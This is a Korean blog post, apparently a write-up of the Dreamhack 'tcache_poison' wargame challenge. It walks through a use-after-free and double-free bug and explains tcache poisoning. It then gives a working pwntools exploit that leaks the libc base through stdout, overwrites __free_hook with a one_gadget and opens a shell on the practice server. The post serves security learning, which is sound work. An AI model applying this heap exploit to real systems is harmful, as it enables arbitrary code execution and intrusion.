&lt;figure id=&quot;og_1770700392108&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;로그인 | Dreamhack&quot; data-og-description=&quot;페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/358&quot; data-og-url=&quot;https://dreamhack.io/users/login?after=/wargame/challenges/358&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/358&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/358&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;로그인 | Dreamhack&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;0. 보안기법 확인&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;208&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boWO7P/dJMcafZNkyC/TWH1eLkCsCWOKgqPdik3H0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boWO7P/dJMcafZNkyC/TWH1eLkCsCWOKgqPdik3H0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boWO7P/dJMcafZNkyC/TWH1eLkCsCWOKgqPdik3H0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboWO7P%2FdJMcafZNkyC%2FTWH1eLkCsCWOKgqPdik3H0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;636&quot; height=&quot;159&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;208&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Full RELRO이기에 GOT table 변조는 불가능하고 NX bit가 켜져있기에 스택에 shellcode를 입력하는것 또한 불가능 하다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 소스코드 확인&lt;/h3&gt;
&lt;pre id=&quot;code_1770700379891&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf(&quot;1. Allocate\n&quot;);
    printf(&quot;2. Free\n&quot;);
    printf(&quot;3. Print\n&quot;);
    printf(&quot;4. Edit\n&quot;);
    scanf(&quot;%d&quot;, &amp;amp;idx);

    switch (idx) {
      case 1:
        printf(&quot;Size: &quot;);
        scanf(&quot;%d&quot;, &amp;amp;size);
        chunk = malloc(size);
        printf(&quot;Content: &quot;);
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf(&quot;Content: %s&quot;, chunk);
        break;
      case 4:
        printf(&quot;Edit chunk: &quot;);
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;소스코드를 확인해보면 알 수 있는 취약점은 UAF(Use-After-Free)이다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;free(chunk) 이후에도 print()와 edit이 가능하다는 말&lt;/li&gt;
&lt;li&gt;그로써 Double Free가 가능해진다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1770700743071&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;free(chunk);
free(chunk);&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하지만 glibc는 tcache에서 double free를 감지하면 프로그램을 종료시킨다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. tcache 개념 정리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에서 tcache를 모르는 사람들을 위해 개념을 정리하고 가보자.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;tcache&lt;/b&gt;: free된&lt;b&gt; samll chunk&lt;/b&gt;를 &lt;b&gt;빠르게 재사용&lt;/b&gt;하기위한 cache -&amp;gt; &lt;b&gt;size별로&lt;/b&gt; tcache bin이 존재함&lt;/li&gt;
&lt;li&gt;free된 chunk 내부에는 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;fd (next pointer)&lt;/span&gt;가 저장된다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;여기에서 이&lt;b&gt; fd를 조작&lt;/b&gt;하면 &lt;b&gt;다음 malloc이 반환할 주소를 조작&lt;/b&gt;할 수 있다.&lt;/li&gt;
&lt;li&gt;이것이 &lt;b&gt;tcache poisoning&lt;/b&gt;의 핵심&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. payload 추론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 &lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;free된 chunk 내부에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;fd (next pointer)&lt;/span&gt;가 저장된다고 말했던걸 기억한다면 두번 free했을 때 같은 크기위 청크라면&lt;/p&gt;
&lt;pre id=&quot;code_1770701316725&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tcache:
chunkA &amp;rarr; chunkA&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 중복 엔트리가 생길 수 있고, 이 상태에서 UAF로 첫 chunk의 fd를 덮으면&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1770701353123&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chunkA &amp;rarr; (내가 넣은 주소)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 구조가 완성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 다음 malloc이 작동된다면 내가 넣은 주소가 반환되어 해당 주소의 내용을 overwrite할 수 있게 된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 주소 구하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 필요한 주소는 one gadget 주소로 해당 주소가 무슨일을 하는지는 추후 설명하도로 하겠다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1330&quot; data-origin-height=&quot;562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OPVxe/dJMcaiIX0V9/JwaScXEfhmzD1I1haYmyZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OPVxe/dJMcaiIX0V9/JwaScXEfhmzD1I1haYmyZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OPVxe/dJMcaiIX0V9/JwaScXEfhmzD1I1haYmyZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOPVxe%2FdJMcaiIX0V9%2FJwaScXEfhmzD1I1haYmyZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;254&quot; data-origin-width=&quot;1330&quot; data-origin-height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필요한 주소는 execve(&quot;/bin/sh&quot;)를 담고있는 주소이기에 0x4f3d5, 0x4f432, 0x10a41c중 하나를 적당히 골라 사용하자.&lt;/li&gt;
&lt;li&gt;이 외에도 stdout의주소와 free_hook의 주소가 필요하지만 해당 주소는 pwntools의 기능으로 구할 예정이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. payload 작성&lt;/h3&gt;
&lt;pre id=&quot;code_1770701859909&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
from pwnlib.tubes.process import PTY

p = remote('host3.dreamhack.games', 18233)
# p = process('./tcache_poison')


e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size, content):
    p.sendlineafter(b'4. Edit\n',b'1')
    p.sendlineafter(b'Size: ', size)
    p.sendafter(b'Content: ', content)

def free_():
    p.sendlineafter(b'4. Edit\n',b'2')

def print_():
    p.sendlineafter(b'4. Edit\n',b'3')

def edit(data):
    p.sendlineafter(b'Edit\n',b'4')
    p.sendlineafter(b': ',data)


alloc(b'16',b'aaaa')

free_()

edit(b'aaaaaaaa')

free_()

leak = p64(e.symbols['stdout'])
edit(leak)

alloc(b'16',b'bbbb')
alloc(b'16',b'\x60')

#추출한 stdout 주소로 libc base 주소 추출
print_()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recvn(6) + b'\x00\x00')
libc_base = stdout_add - libc.symbols['_IO_2_1_stdout_']
free_hook_add = libc_base + libc.symbols['__free_hook']

og_gadget = [0x4f3d5,0x4f432,0x10a41c]
onegadget = libc_base + og_gadget[1]

alloc(b'64', b'a')
free_()
edit(b'aaaaaaaaa')
free_()
leak = p64(free_hook_add)
edit(leak)


alloc(b'64',b'b')
alloc(b'64',p64(onegadget))

free_()

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전체적인 구조를 말하자면
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stdout의 주소를 leak 하여 libc의 base 주소를 구함&lt;/li&gt;
&lt;li&gt;다시한번 Double Free를 사용하여 free_hook 주소를 가르기게 함&lt;/li&gt;
&lt;li&gt;해당 주소에서 &lt;b&gt;execute('/bin/sh')&lt;/b&gt;를 실행하는 one gadget주소를 입력&lt;/li&gt;
&lt;li&gt;그렇다면 free()함수 실행 시 &lt;b&gt;execute('/bin/sh')&lt;/b&gt;가 실행되는 것&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;stdout_add = u64(p.recvn(6) + b'\x00\x00')&lt;/span&gt; 이렇게 두 비트가 \x00인 이유는 stdout 주소를 출력해보면 알 수 있는데 \x00 두개가 붙어있어 \x00이 나오기 전까지 받는다음 \x00을 추가로 붙여주면서 추가적인 오류를 없애는 것&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;libc.symbols['_IO_2_1_stdout_']&lt;/span&gt;은 stdout의 상대 주소 (offset)임으로 stdout의 주소에 빼면서 libc base 주소를 구하는 것&lt;/li&gt;
&lt;li&gt;og_gadget은 위에서 구한 세 개의 주소를 한번씩 넣어보며 해당 문제에 잘 맞는 것을 찾아 넣어주면 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 실행결과&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXxgva/dJMcahcffKa/yit6AcDc8pMF5ui2MFuWH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXxgva/dJMcahcffKa/yit6AcDc8pMF5ui2MFuWH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXxgva/dJMcahcffKa/yit6AcDc8pMF5ui2MFuWH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXxgva%2FdJMcahcffKa%2Fyit6AcDc8pMF5ui2MFuWH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;988&quot; height=&quot;154&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>워게임</category>
      <category>pwnable</category>
      <category>tcache</category>
      <category>tcache poisoning</category>
      <category>보안공부</category>
      <category>워게임</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/25</guid>
      <comments>https://seowoo-j.tistory.com/25#entry25comment</comments>
      <pubDate>Tue, 10 Feb 2026 17:06:22 +0900</pubDate>
    </item>
  </channel>
</rss>